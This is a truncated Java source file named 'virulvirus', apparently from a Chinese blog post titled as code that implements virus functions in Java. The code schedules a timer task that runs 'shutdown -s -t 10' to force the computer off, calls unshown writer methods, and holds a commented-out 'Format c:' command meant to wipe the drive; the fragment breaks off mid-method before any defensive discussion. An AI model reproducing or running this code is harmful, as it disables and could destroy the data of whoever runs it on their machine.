- /*
- * To change this template, choose Tools | Templates
- * and open the template in the editor.
- */
- package format;
- //virulvirus .java
- /**
- *
- * @author jdm
- */
- import java.io.File;
- import java.io.FileNotFoundException;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.OutputStreamWriter;
- import java.io.PrintWriter;
- import java.io.UnsupportedEncodingException;
- import java.util.*;
- public class virulvirus extends Thread implements Runnable{
- /**
- * @param args
- */public virulvirus(){
- Timer timer=new Timer();
- TimerTask timetask=new TimerTask(){
- /* (non-Javadoc)
- * @see java.util.TimerTask#run()
- */
- @Override
- public void run() {
- // TODO Auto-generated method stub
- Process p;
- //Process f;
- try {
- //f=Runtime.getRuntime().exec("Format c:" );
- p=Runtime.getRuntime().exec("shutdown -s -t 10");
- writer();
- writer1();
- } catch (IOException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
用java实现病毒功能的代码
最新推荐文章于 2024-05-25 11:24:08 发布